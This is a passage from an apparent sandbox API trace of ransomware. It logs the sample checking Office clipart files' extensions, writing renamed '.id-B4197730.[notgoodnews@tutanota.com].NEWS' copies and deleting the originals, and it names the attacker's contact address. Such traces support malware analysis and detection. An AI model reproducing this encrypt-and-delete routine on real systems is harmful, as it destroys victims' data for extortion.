Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.815] lstrlenW (lpString=".zip") returned 4 [0180.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.815] lstrlenW (lpString=".rar") returned 4 [0180.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.815] lstrlenW (lpString=".bz2") returned 4 [0180.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.816] lstrlenW (lpString=".7z") returned 3 [0180.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.816] lstrlenW (lpString=".dbf") returned 4 [0180.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.816] lstrlenW (lpString=".1cd") returned 4 [0180.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.816] lstrlenW (lpString=".jpg") returned 4 [0180.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.816] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.816] lstrlenW (lpString="J0107138.WMF") returned 12 [0180.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.116] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=17200) returned 1 [0181.116] CloseHandle (hObject=0x4f0) returned 1 [0181.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0181.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.582] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.582] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.667] GetLastError () returned 0x0 [0181.667] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4330, lpOverlapped=0x0) returned 1 [0181.774] WriteFile (in: hFile=0x3f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4340, lpOverlapped=0x0) returned 1 [0181.775] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.776] WriteFile (in: hFile=0x3f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0181.776] SetEndOfFile (hFile=0x3f4) returned 1 [0181.776] CloseHandle (hObject=0x3f4) returned 1 [0181.776] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.776] SetEndOfFile (hFile=0x544) returned 1 [0181.780] CloseHandle (hObject=0x544) returned 1 [0181.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0181.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.784] lstrlenW (lpString=".doc") returned 4 [0181.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.784] lstrlenW (lpString=".docx") returned 5 [0181.784] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.784] lstrlenW (lpString=".pdf") returned 4 [0181.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.784] lstrlenW (lpString=".xls") returned 4 [0181.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.784] lstrlenW (lpString=".xlsx") returned 5 [0181.784] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.784] lstrlenW (lpString=".ppt") returned 4 [0181.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.784] lstrlenW (lpString=".zip") returned 4 [0181.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.784] lstrlenW (lpString=".rar") returned 4 [0181.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.784] lstrlenW (lpString=".bz2") returned 4 [0181.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.784] lstrlenW (lpString=".7z") returned 3 [0181.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.784] lstrlenW (lpString=".dbf") returned 4 [0181.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.785] lstrlenW (lpString=".1cd") returned 4 [0181.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.785] lstrlenW (lpString=".jpg") returned 4 [0181.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.785] lstrlenW (lpString=".doc") returned 4 [0181.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString=".docx") returned 5 [0181.785] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.785] lstrlenW (lpString=".pdf") returned 4 [0181.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString=".xls") returned 4 [0181.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.785] lstrlenW (lpString=".xlsx") returned 5 [0181.785] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.785] lstrlenW (lpString=".ppt") returned 4 [0181.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.785] lstrlenW (lpString=".zip") returned 4 [0181.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.785] lstrlenW (lpString=".rar") returned 4 [0181.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.785] lstrlenW (lpString=".bz2") returned 4 [0181.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.786] lstrlenW (lpString=".7z") returned 3 [0181.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.786] lstrlenW (lpString=".dbf") returned 4 [0181.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.786] lstrlenW (lpString=".1cd") returned 4 [0181.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0181.786] lstrlenW (lpString=".jpg") returned 4 [0181.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.786] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.786] lstrlenW (lpString="J0107192.WMF") returned 12 [0181.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.788] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9968) returned 1 [0181.788] CloseHandle (hObject=0x544) returned 1 [0181.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0181.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.789] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.789] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.791] GetLastError () returned 0x0 [0181.791] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x26f0, lpOverlapped=0x0) returned 1 [0181.837] WriteFile (in: hFile=0x3f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2700, lpOverlapped=0x0) returned 1 [0181.839] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.839] WriteFile (in: hFile=0x3f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0181.839] SetEndOfFile (hFile=0x3f4) returned 1 [0181.840] CloseHandle (hObject=0x3f4) returned 1 [0181.840] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.840] SetEndOfFile (hFile=0x544) returned 1 [0181.844] CloseHandle (hObject=0x544) returned 1 [0181.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0181.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.846] lstrlenW (lpString=".doc") returned 4 [0181.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString=".docx") returned 5 [0181.847] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0181.847] lstrlenW (lpString=".pdf") returned 4 [0181.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString=".xls") returned 4 [0181.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.847] lstrlenW (lpString=".xlsx") returned 5 [0181.847] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0181.847] lstrlenW (lpString=".ppt") returned 4 [0181.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.847] lstrlenW (lpString=".zip") returned 4 [0181.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.847] lstrlenW (lpString=".rar") returned 4 [0181.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString=".bz2") returned 4 [0181.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString=".7z") returned 3 [0181.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.847] lstrlenW (lpString=".dbf") returned 4 [0181.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.848] lstrlenW (lpString=".1cd") returned 4 [0181.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.848] lstrlenW (lpString=".jpg") returned 4 [0181.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.848] lstrlenW (lpString=".doc") returned 4 [0181.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.848] lstrlenW (lpString=".docx") returned 5 [0181.848] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0181.848] lstrlenW (lpString=".pdf") returned 4 [0181.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.848] lstrlenW (lpString=".xls") returned 4 [0181.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.848] lstrlenW (lpString=".xlsx") returned 5 [0181.848] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0181.848] lstrlenW (lpString=".ppt") returned 4 [0181.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.848] lstrlenW (lpString=".zip") returned 4 [0181.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.848] lstrlenW (lpString=".rar") returned 4 [0181.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.849] lstrlenW (lpString=".bz2") returned 4 [0181.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.849] lstrlenW (lpString=".7z") returned 3 [0181.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.849] lstrlenW (lpString=".dbf") returned 4 [0181.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.849] lstrlenW (lpString=".1cd") returned 4 [0181.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0181.849] lstrlenW (lpString=".jpg") returned 4 [0181.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.849] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.849] lstrlenW (lpString="J0107258.WMF") returned 12 [0181.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.308] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8552) returned 1 [0182.308] CloseHandle (hObject=0x36c) returned 1 [0182.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0182.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.562] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.562] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0182.564] GetLastError () returned 0x0 [0182.564] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2168, lpOverlapped=0x0) returned 1 [0182.569] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2170, lpOverlapped=0x0) returned 1 [0182.571] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0182.571] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0182.572] SetEndOfFile (hFile=0x518) returned 1 [0182.572] CloseHandle (hObject=0x518) returned 1 [0182.572] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.572] SetEndOfFile (hFile=0x53c) returned 1 [0182.577] CloseHandle (hObject=0x53c) returned 1 [0182.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0182.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.579] lstrlenW (lpString=".doc") returned 4 [0182.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.579] lstrlenW (lpString=".docx") returned 5 [0182.580] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.580] lstrlenW (lpString=".pdf") returned 4 [0182.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.580] lstrlenW (lpString=".xls") returned 4 [0182.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.580] lstrlenW (lpString=".xlsx") returned 5 [0182.580] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.580] lstrlenW (lpString=".ppt") returned 4 [0182.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.580] lstrlenW (lpString=".zip") returned 4 [0182.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.580] lstrlenW (lpString=".rar") returned 4 [0182.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.580] lstrlenW (lpString=".bz2") returned 4 [0182.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.580] lstrlenW (lpString=".7z") returned 3 [0182.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.580] lstrlenW (lpString=".dbf") returned 4 [0182.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.580] lstrlenW (lpString=".1cd") returned 4 [0182.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.581] lstrlenW (lpString=".jpg") returned 4 [0182.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.581] lstrlenW (lpString=".doc") returned 4 [0182.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.581] lstrlenW (lpString=".docx") returned 5 [0182.581] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.581] lstrlenW (lpString=".pdf") returned 4 [0182.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.581] lstrlenW (lpString=".xls") returned 4 [0182.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.581] lstrlenW (lpString=".xlsx") returned 5 [0182.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.581] lstrlenW (lpString=".ppt") returned 4 [0182.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0182.581] lstrlenW (lpString=".zip") returned 4 [0182.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.582] lstrlenW (lpString=".rar") returned 4 [0182.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.582] lstrlenW (lpString=".bz2") returned 4 [0182.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.582] lstrlenW (lpString=".7z") returned 3 